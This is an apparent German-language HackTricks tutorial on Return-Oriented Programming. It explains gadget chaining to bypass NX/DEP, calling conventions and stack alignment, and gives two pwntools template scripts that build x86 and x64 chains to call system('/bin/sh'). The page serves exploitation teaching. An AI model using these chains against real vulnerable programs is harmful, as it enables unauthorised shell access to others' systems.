ROP - Return Oriented Programming
Reading time: 9 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Return-Oriented Programming (ROP) ist eine fortgeschrittene Ausnutzungstechnik, die verwendet wird, um Sicherheitsmaßnahmen wie No-Execute (NX) oder Data Execution Prevention (DEP) zu umgehen. Anstatt Shellcode zu injizieren und auszuführen, nutzt ein Angreifer Teile von Code, die bereits im Binärformat oder in geladenen Bibliotheken vorhanden sind, bekannt als "Gadgets". Jedes Gadget endet typischerweise mit einer ret
-Anweisung und führt eine kleine Operation aus, wie das Bewegen von Daten zwischen Registern oder das Durchführen arithmetischer Operationen. Durch das Verketten dieser Gadgets kann ein Angreifer eine Nutzlast konstruieren, um beliebige Operationen auszuführen und somit effektiv NX/DEP-Schutzmaßnahmen zu umgehen.
Wie ROP funktioniert
- Kontrollfluss-Hijacking: Zuerst muss ein Angreifer den Kontrollfluss eines Programms hijacken, typischerweise durch das Ausnutzen eines Buffer Overflows, um eine gespeicherte Rücksprungadresse auf dem Stack zu überschreiben.
- Gadget-Verkettung: Der Angreifer wählt dann sorgfältig Gadgets aus und verknüpft sie, um die gewünschten Aktionen auszuführen. Dies könnte das Einrichten von Argumenten für einen Funktionsaufruf, das Aufrufen der Funktion (z.B.
system("/bin/sh")
) und das Handhaben notwendiger Aufräum- oder zusätzlicher Operationen umfassen. - Nutzlastausführung: Wenn die verwundbare Funktion zurückkehrt, beginnt sie anstelle der Rückkehr zu einem legitimen Ort, die Kette von Gadgets auszuführen.
Werkzeuge
Typischerweise können Gadgets mit ROPgadget, ropper oder direkt aus pwntools (ROP) gefunden werden.
ROP-Kette im x86-Beispiel
x86 (32-Bit) Aufrufkonventionen
- cdecl: Der Aufrufer bereinigt den Stack. Funktionsargumente werden in umgekehrter Reihenfolge (von rechts nach links) auf den Stack geschoben. Argumente werden von rechts nach links auf den Stack geschoben.
- stdcall: Ähnlich wie cdecl, aber der Callee ist für die Bereinigung des Stacks verantwortlich.
Gadgets finden
Zuerst nehmen wir an, dass wir die notwendigen Gadgets innerhalb des Binärformats oder seiner geladenen Bibliotheken identifiziert haben. Die Gadgets, an denen wir interessiert sind, sind:
pop eax; ret
: Dieses Gadget poppt den obersten Wert des Stacks in dasEAX
-Register und gibt dann zurück, wodurch wirEAX
steuern können.pop ebx; ret
: Ähnlich wie das obige, aber für dasEBX
-Register, was die Kontrolle überEBX
ermöglicht.mov [ebx], eax; ret
: Bewegt den Wert inEAX
an die Speicheradresse, auf dieEBX
zeigt, und gibt dann zurück. Dies wird oft als write-what-where gadget bezeichnet.- Darüber hinaus haben wir die Adresse der
system()
-Funktion verfügbar.
ROP-Kette
Mit pwntools bereiten wir den Stack für die Ausführung der ROP-Kette wie folgt vor, um system('/bin/sh')
auszuführen. Beachten Sie, wie die Kette beginnt mit:
- Einer
ret
-Anweisung zu Alignierungszwecken (optional) - Adresse der
system
-Funktion (vorausgesetzt, ASLR ist deaktiviert und libc ist bekannt, mehr Informationen in Ret2lib) - Platzhalter für die Rücksprungadresse von
system()
- Adresse des
"/bin/sh"
-Strings (Parameter für die Systemfunktion)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP-Kette im x64 Beispiel
x64 (64-Bit) Aufrufkonventionen
- Verwendet die System V AMD64 ABI Aufrufkonvention auf Unix-ähnlichen Systemen, wo die ersten sechs Ganzzahl- oder Zeigerargumente in den Registern
RDI
,RSI
,RDX
,RCX
,R8
undR9
übergeben werden. Zusätzliche Argumente werden auf dem Stack übergeben. Der Rückgabewert wird inRAX
platziert. - Die Windows x64 Aufrufkonvention verwendet
RCX
,RDX
,R8
undR9
für die ersten vier Ganzzahl- oder Zeigerargumente, wobei zusätzliche Argumente auf dem Stack übergeben werden. Der Rückgabewert wird inRAX
platziert. - Register: 64-Bit-Register umfassen
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
undR8
bisR15
.
Gadgets Finden
Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das RDI-Register (um den "/bin/sh" String als Argument an system() zu übergeben) zu setzen und dann die system() Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
- pop rdi; ret: Poppt den obersten Wert des Stacks in RDI und gibt dann zurück. Essentiell für das Setzen unseres Arguments für system().
- ret: Ein einfacher Rückgabewert, nützlich für die Stack-Ausrichtung in einigen Szenarien.
Und wir kennen die Adresse der system() Funktion.
ROP-Kette
Unten ist ein Beispiel, das pwntools verwendet, um eine ROP-Kette einzurichten und auszuführen, die darauf abzielt, system('/bin/sh') auf x64 auszuführen:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
In diesem Beispiel:
- Wir nutzen das
pop rdi; ret
Gadget, umRDI
auf die Adresse von"/bin/sh"
zu setzen. - Wir springen direkt zu
system()
, nachdem wirRDI
gesetzt haben, mit der Adresse von system() in der Kette. ret_gadget
wird zur Ausrichtung verwendet, falls die Zielumgebung dies erfordert, was in x64 häufiger vorkommt, um eine ordnungsgemäße Stack-Ausrichtung vor dem Aufruf von Funktionen sicherzustellen.
Stack-Ausrichtung
Die x86-64 ABI stellt sicher, dass der Stack 16-Byte ausgerichtet ist, wenn eine call-Anweisung ausgeführt wird. LIBC verwendet zur Optimierung der Leistung SSE-Anweisungen (wie movaps), die diese Ausrichtung erfordern. Wenn der Stack nicht richtig ausgerichtet ist (was bedeutet, dass RSP kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie system in einer ROP-Kette fehl. Um dies zu beheben, fügen Sie einfach ein ret gadget hinzu, bevor Sie system in Ihrer ROP-Kette aufrufen.
Hauptunterschied zwischen x86 und x64
tip
Da x64 Register für die ersten paar Argumente verwendet, erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der x64 Architektur bieten sowohl Chancen als auch Herausforderungen für die Entwicklung von Exploits, insbesondere im Kontext von Return-Oriented Programming (ROP).
ROP-Kette im ARM64 Beispiel
ARM64 Grundlagen & Aufrufkonventionen
Überprüfen Sie die folgende Seite für diese Informationen:
Schutzmaßnahmen gegen ROP
- ASLR & PIE: Diese Schutzmaßnahmen erschweren die Verwendung von ROP, da sich die Adressen der Gadgets zwischen den Ausführungen ändern.
- Stack Canaries: Im Falle eines BOF ist es notwendig, die gespeicherten Stack-Canaries zu umgehen, um Rückgabepunkte zu überschreiben und eine ROP-Kette auszunutzen.
- Mangel an Gadgets: Wenn nicht genügend Gadgets vorhanden sind, wird es nicht möglich sein, eine ROP-Kette zu erzeugen.
ROP-basierte Techniken
Beachten Sie, dass ROP nur eine Technik ist, um beliebigen Code auszuführen. Basierend auf ROP wurden viele Ret2XXX-Techniken entwickelt:
- Ret2lib: Verwenden Sie ROP, um beliebige Funktionen aus einer geladenen Bibliothek mit beliebigen Parametern aufzurufen (normalerweise etwas wie
system('/bin/sh')
).
- Ret2Syscall: Verwenden Sie ROP, um einen Aufruf zu einem Syscall, z.B.
execve
, vorzubereiten und beliebige Befehle auszuführen.
- EBP2Ret & EBP Chaining: Der erste wird EBP anstelle von EIP ausnutzen, um den Fluss zu steuern, und der zweite ist ähnlich wie Ret2lib, aber in diesem Fall wird der Fluss hauptsächlich mit EBP-Adressen gesteuert (obwohl es auch notwendig ist, EIP zu steuern).
Stack Pivoting - EBP2Ret - EBP chaining
Weitere Beispiele & Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer
vsyscall
Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine partielle Überschreibung der Adresse sein wird, um den Teil der Funktion zu erhalten, der das Flag ausgibt. - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, kein ASLR, ROP-Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.